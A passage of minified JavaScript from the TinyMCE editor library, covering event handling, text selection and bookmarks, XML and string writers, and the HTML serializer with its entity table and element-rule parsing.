g=this;f(g.events,function(j,h){g._remove(j.obj,j.name,j.cfunc);j.obj=j.cfunc=null});g.events=[];g=null},_add:function(h,i,g){if(h.attachEvent){h.attachEvent("on"+i,g)}else{if(h.addEventListener){h.addEventListener(i,g,false)}else{h["on"+i]=g}}},_remove:function(i,j,h){if(i){try{if(i.detachEvent){i.detachEvent("on"+j,h)}else{if(i.removeEventListener){i.removeEventListener(j,h,false)}else{i["on"+j]=null}}}catch(g){}}},_pageInit:function(h){var g=this;if(g.domLoaded){return}g.domLoaded=true;f(g.inits,function(i){i()});g.inits=[]},_wait:function(i){var g=this,h=i.document;if(i.tinyMCE_GZ&&tinyMCE_GZ.loaded){g.domLoaded=1;return}if(h.attachEvent){h.attachEvent("onreadystatechange",function(){if(h.readyState==="complete"){h.detachEvent("onreadystatechange",arguments.callee);g._pageInit(i)}});if(h.documentElement.doScroll&&i==i.top){(function(){if(g.domLoaded){return}try{h.documentElement.doScroll("left")}catch(j){setTimeout(arguments.callee,0);return}g._pageInit(i)})()}}else{if(h.addEventListener){g._add(i,"DOMContentLoaded",function(){g._pageInit(i)})}}g._add(i,"load",function(){g._pageInit(i)})},_stoppers:{preventDefault:function(){this.returnValue=false},stopPropagation:function(){this.cancelBubble=true}}});a=d.dom.Event=new d.dom.EventUtils();a._wait(window);d.addUnload(function(){a.destroy()})})(tinymce);(function(a){a.dom.Element=function(f,d){var b=this,e,c;b.settings=d=d||{};b.id=f;b.dom=e=d.dom||a.DOM;if(!a.isIE){c=e.get(b.id)}a.each(("getPos,getRect,getParent,add,setStyle,getStyle,setStyles,setAttrib,setAttribs,getAttrib,addClass,removeClass,hasClass,getOuterHTML,setOuterHTML,remove,show,hide,isHidden,setHTML,get").split(/,/),function(g){b[g]=function(){var h=[f],j;for(j=0;j<arguments.length;j++){h.push(arguments[j])}h=e[g].apply(e,h);b.update(g);return h}});a.extend(b,{on:function(i,h,g){return a.dom.Event.add(b.id,i,h,g)},getXY:function(){return{x:parseInt(b.getStyle("left")),y:parseInt(b.getStyle("top"))}},getSize:function(){var g=e.get(b.id);return{w:parseInt(b.getStyle("width")||g.clientWidth),h:parseInt(b.getStyle("height")||g.clientHeight)}},moveTo:function(g,h){b.setStyles({left:g,top:h})},moveBy:function(g,i){var h=b.getXY();b.moveTo(h.x+g,h.y+i)},resizeTo:function(g,i){b.setStyles({width:g,height:i})},resizeBy:function(g,j){var i=b.getSize();b.resizeTo(i.w+g,i.h+j)},update:function(h){var g;if(a.isIE6&&d.blocker){h=h||"";if(h.indexOf("get")===0||h.indexOf("has")===0||h.indexOf("is")===0){return}if(h=="remove"){e.remove(b.blocker);return}if(!b.blocker){b.blocker=e.uniqueId();g=e.add(d.container||e.getRoot(),"iframe",{id:b.blocker,style:"position:absolute;",frameBorder:0,src:'javascript:""'});e.setStyle(g,"opacity",0)}else{g=e.get(b.blocker)}e.setStyles(g,{left:b.getStyle("left",1),top:b.getStyle("top",1),width:b.getStyle("width",1),height:b.getStyle("height",1),display:b.getStyle("display",1),zIndex:parseInt(b.getStyle("zIndex",1)||0)-1})}}})}})(tinymce);(function(c){function e(f){return f.replace(/[\n\r]+/g,"")}var b=c.is,a=c.isIE,d=c.each;c.create("tinymce.dom.Selection",{Selection:function(i,h,g){var f=this;f.dom=i;f.win=h;f.serializer=g;d(["onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent"],function(j){f[j]=new c.util.Dispatcher(f)});if(!f.win.getSelection){f.tridentSel=new c.dom.TridentSelection(f)}c.addUnload(f.destroy,f)},getContent:function(g){var f=this,h=f.getRng(),l=f.dom.create("body"),j=f.getSel(),i,k,m;g=g||{};i=k="";g.get=true;g.format=g.format||"html";f.onBeforeGetContent.dispatch(f,g);if(g.format=="text"){return f.isCollapsed()?"":(h.text||(j.toString?j.toString():""))}if(h.cloneContents){m=h.cloneContents();if(m){l.appendChild(m)}}else{if(b(h.item)||b(h.htmlText)){l.innerHTML=h.item?h.item(0).outerHTML:h.htmlText}else{l.innerHTML=h.toString()}}if(/^\s/.test(l.innerHTML)){i=" "}if(/\s+$/.test(l.innerHTML)){k=" "}g.getInner=true;g.content=f.isCollapsed()?"":i+f.serializer.serialize(l,g)+k;f.onGetContent.dispatch(f,g);return g.content},setContent:function(i,g){var f=this,j=f.getRng(),l,k=f.win.document;g=g||{format:"html"};g.set=true;i=g.content=f.dom.processHTML(i);f.onBeforeSetContent.dispatch(f,g);i=g.content;if(j.insertNode){i+='<span id="__caret">_</span>';if(j.startContainer==k&&j.endContainer==k){k.body.innerHTML=i}else{j.deleteContents();if(k.body.childNodes.length==0){k.body.innerHTML=i}else{j.insertNode(j.createContextualFragment(i))}}l=f.dom.get("__caret");j=k.createRange();j.setStartBefore(l);j.setEndBefore(l);f.setRng(j);f.dom.remove("__caret")}else{if(j.item){k.execCommand("Delete",false,null);j=f.getRng()}j.pasteHTML(i)}f.onSetContent.dispatch(f,g)},getStart:function(){var g=this.getRng(),h,f,j,i;if(g.duplicate||g.item){if(g.item){return g.item(0)}j=g.duplicate();j.collapse(1);h=j.parentElement();f=i=g.parentElement();while(i=i.parentNode){if(i==h){h=f;break}}if(h&&h.nodeName=="BODY"){return h.firstChild||h}return h}else{h=g.startContainer;if(h.nodeType==1&&h.hasChildNodes()){h=h.childNodes[Math.min(h.childNodes.length-1,g.startOffset)]}if(h&&h.nodeType==3){return h.parentNode}return h}},getEnd:function(){var g=this,h=g.getRng(),i,f;if(h.duplicate||h.item){if(h.item){return h.item(0)}h=h.duplicate();h.collapse(0);i=h.parentElement();if(i&&i.nodeName=="BODY"){return i.lastChild||i}return i}else{i=h.endContainer;f=h.endOffset;if(i.nodeType==1&&i.hasChildNodes()){i=i.childNodes[f>0?f-1:f]}if(i&&i.nodeType==3){return i.parentNode}return i}},getBookmark:function(q,r){var u=this,m=u.dom,g,j,i,n,h,o,p,l="\uFEFF",s;function f(v,x){var t=0;d(m.select(v),function(z,y){if(z==x){t=y}});return t}if(q==2){function k(){var v=u.getRng(true),t=m.getRoot(),x={};function y(B,G){var A=B[G?"startContainer":"endContainer"],F=B[G?"startOffset":"endOffset"],z=[],C,E,D=0;if(A.nodeType==3){if(r){for(C=A.previousSibling;C&&C.nodeType==3;C=C.previousSibling){F+=C.nodeValue.length}}z.push(F)}else{E=A.childNodes;if(F>=E.length&&E.length){D=1;F=Math.max(0,E.length-1)}z.push(u.dom.nodeIndex(E[F],r)+D)}for(;A&&A!=t;A=A.parentNode){z.push(u.dom.nodeIndex(A,r))}return z}x.start=y(v,true);if(!u.isCollapsed()){x.end=y(v)}return x}return k()}if(q){return{rng:u.getRng()}}g=u.getRng();i=m.uniqueId();n=tinyMCE.activeEditor.selection.isCollapsed();s="overflow:hidden;line-height:0px";if(g.duplicate||g.item){if(!g.item){j=g.duplicate();g.collapse();g.pasteHTML('<span _mce_type="bookmark" id="'+i+'_start" style="'+s+'">'+l+"</span>");if(!n){j.collapse(false);j.pasteHTML('<span _mce_type="bookmark" id="'+i+'_end" style="'+s+'">'+l+"</span>")}}else{o=g.item(0);h=o.nodeName;return{name:h,index:f(h,o)}}}else{o=u.getNode();h=o.nodeName;if(h=="IMG"){return{name:h,index:f(h,o)}}j=g.cloneRange();if(!n){j.collapse(false);j.insertNode(m.create("span",{_mce_type:"bookmark",id:i+"_end",style:s},l))}g.collapse(true);g.insertNode(m.create("span",{_mce_type:"bookmark",id:i+"_start",style:s},l))}u.moveToBookmark({id:i,keep:1});return{id:i}},moveToBookmark:function(n){var r=this,l=r.dom,i,h,f,q,j,s,o,p;if(r.tridentSel){r.tridentSel.destroy()}if(n){if(n.start){f=l.createRng();q=l.getRoot();function g(z){var t=n[z?"start":"end"],v,x,y,u;if(t){for(x=q,v=t.length-1;v>=1;v--){u=x.childNodes;if(u.length){x=u[t[v]]}}if(z){f.setStart(x,t[0])}else{f.setEnd(x,t[0])}}}g(true);g();r.setRng(f)}else{if(n.id){function k(A){var u=l.get(n.id+"_"+A),z,t,x,y,v=n.keep;if(u){z=u.parentNode;if(A=="start"){if(!v){t=l.nodeIndex(u)}else{z=u.firstChild;t=1}j=s=z;o=p=t}else{if(!v){t=l.nodeIndex(u)}else{z=u.firstChild;t=1}s=z;p=t}if(!v){y=u.previousSibling;x=u.nextSibling;d(c.grep(u.childNodes),function(B){if(B.nodeType==3){B.nodeValue=B.nodeValue.replace(/\uFEFF/g,"")}});while(u=l.get(n.id+"_"+A)){l.remove(u,1)}if(y&&x&&y.nodeType==x.nodeType&&y.nodeType==3){t=y.nodeValue.length;y.appendData(x.nodeValue);l.remove(x);if(A=="start"){j=s=y;o=p=t}else{s=y;p=t}}}}}function m(t){if(!a&&l.isBlock(t)&&!t.innerHTML){t.innerHTML='<br _mce_bogus="1" />'}return t}k("start");k("end");f=l.createRng();f.setStart(m(j),o);f.setEnd(m(s),p);r.setRng(f)}else{if(n.name){r.select(l.select(n.name)[n.index])}else{if(n.rng){r.setRng(n.rng)}}}}}},select:function(k,j){var i=this,l=i.dom,g=l.createRng(),f;f=l.nodeIndex(k);g.setStart(k.parentNode,f);g.setEnd(k.parentNode,f+1);if(j){function h(m,o){var n=new c.dom.TreeWalker(m,m);do{if(m.nodeType==3&&c.trim(m.nodeValue).length!=0){if(o){g.setStart(m,0)}else{g.setEnd(m,m.nodeValue.length)}return}if(m.nodeName=="BR"){if(o){g.setStartBefore(m)}else{g.setEndBefore(m)}return}}while(m=(o?n.next():n.prev()))}h(k,1);h(k)}i.setRng(g);return k},isCollapsed:function(){var f=this,h=f.getRng(),g=f.getSel();if(!h||h.item){return false}if(h.compareEndPoints){return h.compareEndPoints("StartToEnd",h)===0}return !g||h.collapsed},collapse:function(f){var g=this,h=g.getRng(),i;if(h.item){i=h.item(0);h=this.win.document.body.createTextRange();h.moveToElementText(i)}h.collapse(!!f);g.setRng(h)},getSel:function(){var g=this,f=this.win;return f.getSelection?f.getSelection():f.document.selection},getRng:function(j){var g=this,h,i;if(j&&g.tridentSel){return g.tridentSel.getRangeAt(0)}try{if(h=g.getSel()){i=h.rangeCount>0?h.getRangeAt(0):(h.createRange?h.createRange():g.win.document.createRange())}}catch(f){}if(!i){i=g.win.document.createRange?g.win.document.createRange():g.win.document.body.createTextRange()}if(g.selectedRange&&g.explicitRange){if(i.compareBoundaryPoints(i.START_TO_START,g.selectedRange)===0&&i.compareBoundaryPoints(i.END_TO_END,g.selectedRange)===0){i=g.explicitRange}else{g.selectedRange=null;g.explicitRange=null}}return i},setRng:function(i){var h,g=this;if(!g.tridentSel){h=g.getSel();if(h){g.explicitRange=i;h.removeAllRanges();h.addRange(i);g.selectedRange=h.getRangeAt(0)}}else{if(i.cloneRange){g.tridentSel.addRange(i);return}try{i.select()}catch(f){}}},setNode:function(g){var f=this;f.setContent(f.dom.getOuterHTML(g));return g},getNode:function(){var g=this,f=g.getRng(),h=g.getSel(),i;if(f.setStart){if(!f){return g.dom.getRoot()}i=f.commonAncestorContainer;if(!f.collapsed){if(f.startContainer==f.endContainer){if(f.startOffset-f.endOffset<2){if(f.startContainer.hasChildNodes()){i=f.startContainer.childNodes[f.startOffset]}}}if(c.isWebKit&&h.anchorNode&&h.anchorNode.nodeType==1){return h.anchorNode.childNodes[h.anchorOffset]}}if(i&&i.nodeType==3){return i.parentNode}return i}return f.item?f.item(0):f.parentElement()},getSelectedBlocks:function(g,f){var i=this,j=i.dom,m,h,l,k=[];m=j.getParent(g||i.getStart(),j.isBlock);h=j.getParent(f||i.getEnd(),j.isBlock);if(m){k.push(m)}if(m&&h&&m!=h){l=m;while((l=l.nextSibling)&&l!=h){if(j.isBlock(l)){k.push(l)}}}if(h&&m!=h){k.push(h)}return k},destroy:function(g){var f=this;f.win=null;if(f.tridentSel){f.tridentSel.destroy()}if(!g){c.removeUnload(f.destroy)}}})})(tinymce);(function(a){a.create("tinymce.dom.XMLWriter",{node:null,XMLWriter:function(c){function b(){var e=document.implementation;if(!e||!e.createDocument){try{return new ActiveXObject("MSXML2.DOMDocument")}catch(d){}try{return new ActiveXObject("Microsoft.XmlDom")}catch(d){}}else{return e.createDocument("","",null)}}this.doc=b();this.valid=a.isOpera||a.isWebKit;this.reset()},reset:function(){var b=this,c=b.doc;if(c.firstChild){c.removeChild(c.firstChild)}b.node=c.appendChild(c.createElement("html"))},writeStartElement:function(c){var b=this;b.node=b.node.appendChild(b.doc.createElement(c))},writeAttribute:function(c,b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.setAttribute(c,b)},writeEndElement:function(){this.node=this.node.parentNode},writeFullEndElement:function(){var b=this,c=b.node;c.appendChild(b.doc.createTextNode(""));b.node=c.parentNode},writeText:function(b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.appendChild(this.doc.createTextNode(b))},writeCDATA:function(b){this.node.appendChild(this.doc.createCDATASection(b))},writeComment:function(b){if(a.isIE){b=b.replace(/^\-|\-$/g," ")}this.node.appendChild(this.doc.createComment(b.replace(/\-\-/g," ")))},getContent:function(){var b;b=this.doc.xml||new XMLSerializer().serializeToString(this.doc);b=b.replace(/<\?[^?]+\?>|<html>|<\/html>|<html\/>|<!DOCTYPE[^>]+>/g,"");b=b.replace(/ ?\/>/g," />");if(this.valid){b=b.replace(/\%MCGT%/g,"&gt;")}return b}})})(tinymce);(function(a){a.create("tinymce.dom.StringWriter",{str:null,tags:null,count:0,settings:null,indent:null,StringWriter:function(b){this.settings=a.extend({indent_char:" ",indentation:0},b);this.reset()},reset:function(){this.indent="";this.str="";this.tags=[];this.count=0},writeStartElement:function(b){this._writeAttributesEnd();this.writeRaw("<"+b);this.tags.push(b);this.inAttr=true;this.count++;this.elementCount=this.count},writeAttribute:function(d,b){var c=this;c.writeRaw(" "+c.encode(d)+'="'+c.encode(b)+'"')},writeEndElement:function(){var b;if(this.tags.length>0){b=this.tags.pop();if(this._writeAttributesEnd(1)){this.writeRaw("</"+b+">")}if(this.settings.indentation>0){this.writeRaw("\n")}}},writeFullEndElement:function(){if(this.tags.length>0){this._writeAttributesEnd();this.writeRaw("</"+this.tags.pop()+">");if(this.settings.indentation>0){this.writeRaw("\n")}}},writeText:function(b){this._writeAttributesEnd();this.writeRaw(this.encode(b));this.count++},writeCDATA:function(b){this._writeAttributesEnd();this.writeRaw("<![CDATA["+b+"]]>");this.count++},writeComment:function(b){this._writeAttributesEnd();this.writeRaw("<!-- "+b+"-->");this.count++},writeRaw:function(b){this.str+=b},encode:function(b){return b.replace(/[<>&"]/g,function(c){switch(c){case"<":return"&lt;";case">":return"&gt;";case"&":return"&amp;";case'"':return"&quot;"}return c})},getContent:function(){return this.str},_writeAttributesEnd:function(b){if(!this.inAttr){return}this.inAttr=false;if(b&&this.elementCount==this.count){this.writeRaw(" />");return false}this.writeRaw(">");return true}})})(tinymce);(function(e){var g=e.extend,f=e.each,b=e.util.Dispatcher,d=e.isIE,a=e.isGecko;function c(h){return h.replace(/([?+*])/g,".$1")}e.create("tinymce.dom.Serializer",{Serializer:function(j){var i=this;i.key=0;i.onPreProcess=new b(i);i.onPostProcess=new b(i);try{i.writer=new e.dom.XMLWriter()}catch(h){i.writer=new e.dom.StringWriter()}i.settings=j=g({dom:e.DOM,valid_nodes:0,node_filter:0,attr_filter:0,invalid_attrs:/^(_mce_|_moz_|sizset|sizcache)/,closed:/^(br|hr|input|meta|img|link|param|area)$/,entity_encoding:"named",entities:"160,nbsp,161,iexcl,162,cent,163,pound,164,curren,165,yen,166,brvbar,167,sect,168,uml,169,copy,170,ordf,171,laquo,172,not,173,shy,174,reg,175,macr,176,deg,177,plusmn,178,sup2,179,sup3,180,acute,181,micro,182,para,183,middot,184,cedil,185,sup1,186,ordm,187,raquo,188,frac14,189,frac12,190,frac34,191,iquest,192,Agrave,193,Aacute,194,Acirc,195,Atilde,196,Auml,197,Aring,198,AElig,199,Ccedil,200,Egrave,201,Eacute,202,Ecirc,203,Euml,204,Igrave,205,Iacute,206,Icirc,207,Iuml,208,ETH,209,Ntilde,210,Ograve,211,Oacute,212,Ocirc,213,Otilde,214,Ouml,215,times,216,Oslash,217,Ugrave,218,Uacute,219,Ucirc,220,Uuml,221,Yacute,222,THORN,223,szlig,224,agrave,225,aacute,226,acirc,227,atilde,228,auml,229,aring,230,aelig,231,ccedil,232,egrave,233,eacute,234,ecirc,235,euml,236,igrave,237,iacute,238,icirc,239,iuml,240,eth,241,ntilde,242,ograve,243,oacute,244,ocirc,245,otilde,246,ouml,247,divide,248,oslash,249,ugrave,250,uacute,251,ucirc,252,uuml,253,yacute,254,thorn,255,yuml,402,fnof,913,Alpha,914,Beta,915,Gamma,916,Delta,917,Epsilon,918,Zeta,919,Eta,920,Theta,921,Iota,922,Kappa,923,Lambda,924,Mu,925,Nu,926,Xi,927,Omicron,928,Pi,929,Rho,931,Sigma,932,Tau,933,Upsilon,934,Phi,935,Chi,936,Psi,937,Omega,945,alpha,946,beta,947,gamma,948,delta,949,epsilon,950,zeta,951,eta,952,theta,953,iota,954,kappa,955,lambda,956,mu,957,nu,958,xi,959,omicron,960,pi,961,rho,962,sigmaf,963,sigma,964,tau,965,upsilon,966,phi,967,chi,968,psi,969,omega,977,thetasym,978,upsih,982,piv,8226,bull,8230,hellip,8242,prime,8243,Prime,8254,oline,8260,frasl,8472,weierp,8465,image,8476,real,8482,trade,8501,alefsym,8592,larr,8593,uarr,8594,rarr,8595,darr,8596,harr,8629,crarr,8656,lArr,8657,uArr,8658,rArr,8659,dArr,8660,hArr,8704,forall,8706,part,8707,exist,8709,empty,8711,nabla,8712,isin,8713,notin,8715,ni,8719,prod,8721,sum,8722,minus,8727,lowast,8730,radic,8733,prop,8734,infin,8736,ang,8743,and,8744,or,8745,cap,8746,cup,8747,int,8756,there4,8764,sim,8773,cong,8776,asymp,8800,ne,8801,equiv,8804,le,8805,ge,8834,sub,8835,sup,8836,nsub,8838,sube,8839,supe,8853,oplus,8855,otimes,8869,perp,8901,sdot,8968,lceil,8969,rceil,8970,lfloor,8971,rfloor,9001,lang,9002,rang,9674,loz,9824,spades,9827,clubs,9829,hearts,9830,diams,338,OElig,339,oelig,352,Scaron,353,scaron,376,Yuml,710,circ,732,tilde,8194,ensp,8195,emsp,8201,thinsp,8204,zwnj,8205,zwj,8206,lrm,8207,rlm,8211,ndash,8212,mdash,8216,lsquo,8217,rsquo,8218,sbquo,8220,ldquo,8221,rdquo,8222,bdquo,8224,dagger,8225,Dagger,8240,permil,8249,lsaquo,8250,rsaquo,8364,euro",valid_elements:"*[*]",extended_valid_elements:0,invalid_elements:0,fix_table_elements:1,fix_list_elements:true,fix_content_duplication:true,convert_fonts_to_spans:false,font_size_classes:0,apply_source_formatting:0,indent_mode:"simple",indent_char:"\t",indent_levels:1,remove_linebreaks:1,remove_redundant_brs:1,element_format:"xhtml"},j);i.dom=j.dom;i.schema=j.schema;if(j.entity_encoding=="named"&&!j.entities){j.entity_encoding="raw"}if(j.remove_redundant_brs){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/(<br \/>\s*)+<\/(p|h[1-6]|div|li)>/gi,function(n,m,o){if(/^<br \/>\s*<\//.test(n)){return"</"+o+">"}return n})})}if(j.element_format=="html"){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/<([^>]+) \/>/g,"<$1>")})}if(j.fix_list_elements){i.onPreProcess.add(function(v,s){var l,z,y=["ol","ul"],u,t,q,k=/^(OL|UL)$/,A;function m(r,x){var o=x.split(","),p;while((r=r.previousSibling)!=null){for(p=0;p<o.length;p++){if(r.nodeName==o[p]){return r}}}return null}for(z=0;z<y.length;z++){l=i.dom.select(y[z],s.node);for(u=0;u<l.length;u++){t=l[u];q=t.parentNode;if(k.test(q.nodeName)){A=m(t,"LI");if(!A){A=i.dom.create("li");A.innerHTML="&nbsp;";A.appendChild(t);q.insertBefore(A,q.firstChild)}else{A.appendChild(t)}}}}})}if(j.fix_table_elements){i.onPreProcess.add(function(k,l){if(!e.isOpera||opera.buildNumber()>=1767){f(i.dom.select("p table",l.node).reverse(),function(p){var o=i.dom.getParent(p.parentNode,"table,p");if(o.nodeName!="TABLE"){try{i.dom.split(o,p)}catch(m){}}})}})}},setEntities:function(o){var n=this,j,m,h={},k;if(n.entityLookup){return}j=o.split(",");for(m=0;m<j.length;m+=2){k=j[m];if(k==34||k==38||k==60||k==62){continue}h[String.fromCharCode(j[m])]=j[m+1];k=parseInt(j[m]).toString(16)}n.entityLookup=h},setRules:function(i){var h=this;h._setup();h.rules={};h.wildRules=[];h.validElements={};return h.addRules(i)},addRules:function(i){var h=this,j;if(!i){return}h._setup();f(i.split(","),function(m){var q=m.split(/\[|\]/),l=q[0].split("/"),r,k,o,n=[];if(j){k=e.extend([],j.attribs)}if(q.length>1){f(q[1].split("|"),function(u){var p={},t;k=k||[];u=u.replace(/::/g,"~");u=/^([!\-])?([\w*.?~_\-]+|)([=:<])?(.+)?$/.exec(u);u[2]=u[2].replace(/~/g,":");if(u[1]=="!"){r=r||[];r.push(u[2])}if(u[1]=="-"){for(t=0;t<k.length;t++){if(k[t].name==u[2]){k.splice(t,1);return}}}switch(u[3]){case"=":p.defaultVal=u[4]||"";break;case":":p.forcedVal=u[4];break;case"<":p.validVals=u[4].split("?");break}if(/[*.?]/.test(u[2])){o=o||[];p.nameRE=new RegExp("^"+c(u[2])+"$");o.push(p)}else{p.name=u[2];k.push(p)}n.push(u[2])})}f(l,function(v,u){var y=v.charAt(0),t=1,p={};if(j){if(j.noEmpty){p.noEmpty=j.noEmpty}if(j.fullEnd){p.fullEnd=j.fullEnd}if(j.padd){p.padd=j.padd}}switch(y){case"-":p.noEmpty=true;break;case"+":p.fullEnd=true;break;case"#":p.padd=true;break;default:t=0}l[u]=v=v.substring(t);h.validElements[v]=1;if(/[*.?]/.test(l[0])){p.nameRE=new RegExp("^"+c(l[0])+"$");h.wildRules=h.wildRules||{};h.wildRules.push(p)}else{p.name=l[0];if(l[0]=="@"){j=p}h.rules[v]=p}p.attribs=k;if(r){p.requiredAttribs=r}if(o){v="";f(n,function(s){if(v){v+="|"}v+="("+c(s)+")"});p.validAttribsRE=new RegExp("^"+v.toLowerCase()+"$");p.wildAttribs=o}})});i="";f(h.validElements,function(m,l){if(i){i+="|"}if(l!="@"){i+=l}});h.validElementsRE=new RegExp("^("+c(i.toLowerCase())+")$")},findRule:function(m){var j=this,l=j.rules,h,k;j._setup();k=l[m];if(k){return k}l=j.wildRules;for(h=0;h<l.length;h++){if(l[h].nameRE.test(m)){return l[h]}}return null},findAttribRule:function(h,l){var j,k=h.wildAttribs;for(j=0;j<k.length;j++){if(k[j].nameRE.test(l)){return k[j]}}return null},serialize:function(r,q){var m,k=this,p,i,j,l;k._setup();q=q||{};q.format=q.format||"html";k.processObj=q;if(d){l=[];f(r.getElementsByTagName("option"),function(o){var h=k.dom.getAttrib(o,"selected");l.push(h?h:null)})}r=r.cloneNode(true);if(d){f(r.getElementsByTagName("option"),function(o,h){k.dom.setAttrib(o,"selected",l[h])})}j=r.ownerDocument.implementation;if(j.createHTMLDocument&&(e.isOpera&&opera.buildNumber()>=1767)){p=j.createHTMLDocument("");f(r.nodeName=="BODY"?r.childNodes:[r],function(h){p.body.appendChild(p.importNode(h,true))});if(r.nodeName!="BODY"){r=p.body.firstChild}else{r=p.body}i=k.dom.doc;k.dom.doc=p}k.key=""+(parseInt(k.key)+1);if(!q.no_events){q.node=r;k.onPreProcess.dispatch(k,q)}k.writer.reset();k._info=q;k._serializeNode(r,q.getInner);q.content=k.writer.getContent();if(i){k.dom.doc=i}if(!q.no_events){k.onPostProcess.dispatch(k,q)}k._postProcess(q);q.node=null;return e.trim(q.content)},_postProcess:function(n){var i=this,k=i.settings,j=n.content,m=[],l;if(n.format=="html"){l=i._protect({content:j,patterns:[{pattern:/(<script[^>]*>)(.*?)(<\/script>)/g},{pattern:/(<noscript[^>]*>)(.*?)(<\/noscript>)/g},{pattern:/(<style[^>]*>)(.*?)(<\/style>)/g},{pattern:/(<pre[^>]*>)(.*?)(<\/pre>)/g,encode:1},{pattern:/(<!--\[CDATA\[)(.*?)(\]\]-->)/g}]});j=l.content;if(k.entity_encoding!=="raw"){j=i._encode(j)}if(!n.set){j=j.replace(/<p>\s+<\/p>|<p([^>]+)>\s+<\/p>/g,k.entity_encoding=="numeric"?"<p$1>&#160;</p>":"<p$1>&nbsp;</p>");if(k.remove_linebreaks){j=j.replace(/\r?\n|\r/g," ");j=j.replace(/(<[^>]+>)\s+/g,"$1 ");j=j.replace(/\s+(<\/[^>]+>)/g," $1");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object) ([^>]+)>\s+/g,"<$1 $2>");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>\s+/g,"<$1>");j=j.replace(/\s+<\/(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>/g,"</$1>")}if(k.apply_source_formatting&&k.indent_mode=="simple"){j=j.replace(/<(\/?)(ul|hr|table|meta|link|tbody|tr|object|body|head|html|map)(|[^>]+)>\s*/g,"\n<$1$2$3>\n");j=j.replace(/\s*<(p|h[1-6]|blockquote|div|title|style|pre|script|td|li|area)(|[^>]+)>/g,"\n<$1$2>");j=j.replace(/<\/(p|h[1-6]|blockquote|div|title|style|pre|script|td|li)>\s*/g,"</$1>\n");j=j.replace(/\n\n/g,"\n")}}j=i._unprotect(j,l);j=j.replace(/<!--\[CDATA\[([\s\S]+)\]\]-->/g,"<![CDATA[$1]]>");if(k.entity_encoding=="raw"){j=j.replace(/<p>&nbsp;<\/p>|<p([^>]+)>&nbsp;<\/p>/g,"<p$1>\u00a0</p>")}j=j.replace(/<noscript([^>]+|)>([\s\S]*?)<\/noscript>/g,function(h,p,o){return"<noscript"+p+">"+i.dom.decode(o.replace(/<!--|-->/g,""))+"</noscript>"})}n.content=j},_serializeNode:function(E,J){var A=this,B=A.settings,y=A.writer,q,j,u,G,F,I,C,h,z,k,r,D,p,m,H,o,x;if(!B.node_filter||B.node_filter(E)){switch(E.nodeType){case 1:if(E.hasAttribute?E.hasAttribute("_mce_bogus"):E.getAttribute("_mce_bogus")){return}p=H=false;q=E.hasChildNodes();k=E.getAttribute("_mce_name")||E.nodeName.toLowerCase();o=E.getAttribute("_mce_type");if(o){if(!A._info.cleanup){p=true;return}else{H=1}}if(d){x=E.scopeName;if(x&&x!=="HTML"&&x!=="html"){k=x+":"+k}}if(k.indexOf("mce:")===0){k=k.substring(4)}if(!H){if(!A.validElementsRE||!A.validElementsRE.test(k)||(A.invalidElementsRE&&A.invalidElementsRE.test(k))||J){p=true;break}}if(d){if(B.fix_content_duplication){if(E._mce_serialized==A.key){return}E._mce_serialized=A.key}if(k.charAt(0)=="/"){k=k.substring(1)}}else{if(a){if(E.nodeName==="BR"&&E.getAttribute("type")=="_moz"){return}}}if(B.validate_children){if(A.elementName&&!A.schema.isValid(A.elementName,k)){p=true;break}A.elementName=k}r=A.findRule(k);if(!r){p=true;break}k=r.name||k;m=B.closed.test(k);if((!q&&r.noEmpty)||(d&&!k)){p=true;break}if(r.requiredAttribs){I=r.requiredAttribs;for(G=I.length-1;G>=0;G--){if(this.dom.getAttrib(E,I[G])!==""){break}}if(G==-1){p=true;break}}y.writeStartElement(k);if(r.attribs){for(G=0,C=r.attribs,F=C.length;G<F;G++){I=C[G];z=A._getAttrib(E,I);if(z!==null){y.writeAttribute(I.name,z)}}}if(r.validAttribsRE){C=A.dom.getAttribs(E);for(G=C.length-1;G>-1;G--){h=C[G];if(h.specified){I=h.nodeName.toLowerCase();if(B.invalid_attrs.test(I)||!r.validAttribsRE.test(I)){continue}D=A.findAttribRule(r,I);z=A._getAttrib(E,D,I);if(z!==null){y.writeAttribute(I,z)}}}}if(o&&H){y.writeAttribute("_mce_type",o)}if(k==="script"&&e.trim(E.innerHTML)){y.writeText("// ");y.writeCDATA(E.innerHTML.replace(/<!--|-->|<\[CDATA\[|\]\]>/g,""));q=false;break}if(r.padd){if(q&&(u=E.firstChild)&&u.nodeType===1&&E.childNodes.length===1){if(u.hasAttribute?u.hasAttribute("_mce_bogus"):u.getAttribute("_mce_bogus")){y.writeText("\u00a0")}}else{if(!q){y.writeText("\u00a0")}}}break;case 3:if(B.validate_children&&A.elementName&&!A.schema.isValid(A.elementName,"#text")){return}return y.writeText(E.nodeValue);case 4:return y.writeCDATA(E.nodeValue);case 8:return y.writeComment(E.nodeValue)}}else{if(E.nodeType==1){q=E.hasChildNodes()}}if(q&&!m){u=E.firstChild;while(u){A._serializeNode(u);A.elementName=k;u=u.nextSibling}}if(!p){if(!m){y.writeFullEndElement()}else{y.writeEndElement()}}},_protect:function(j){var i=this;j.items=j.items||[];function h(l){return l.replace(/[\r\n\\]/g,function(m){if(m==="\n"){return"\\n"}else{if(m==="\\"){return"\\\\"}}return"\\r"})}function k(l){return l.replace(/\\[\\rn]/g,function(m){if(m==="\\n"){return"\n"}else{if(m==="\\\\"){return"\\"}}return"\r"})}f(j.patterns,function(l){j.content=k(h(j.content).replace(l.pattern,function(n,o,m,p){m=k(m);if(l.encode){m=i._encode(m)}j.items.push(m);return o+"<!--mce:"+(j.items.length-1)+"-->"+p}))});return j},_unprotect:function(i,j){i=i.replace(/\<!--mce:([0-9]+)--\>/g,function(k,h){return j.items[parseInt(h)]});j.items=[];return i},_encode:function(m){var j=this,k=j.settings,i;if(k.entity_encoding!=="raw"){if(k.entity_encoding.indexOf("named")!=-1){j.setEntities(k.entities);i=j.entityLookup;m=m.replace(/[\u007E-\uFFFF]/g,function(h){var l;if(l=i[h]){h="&"+l+";"}return 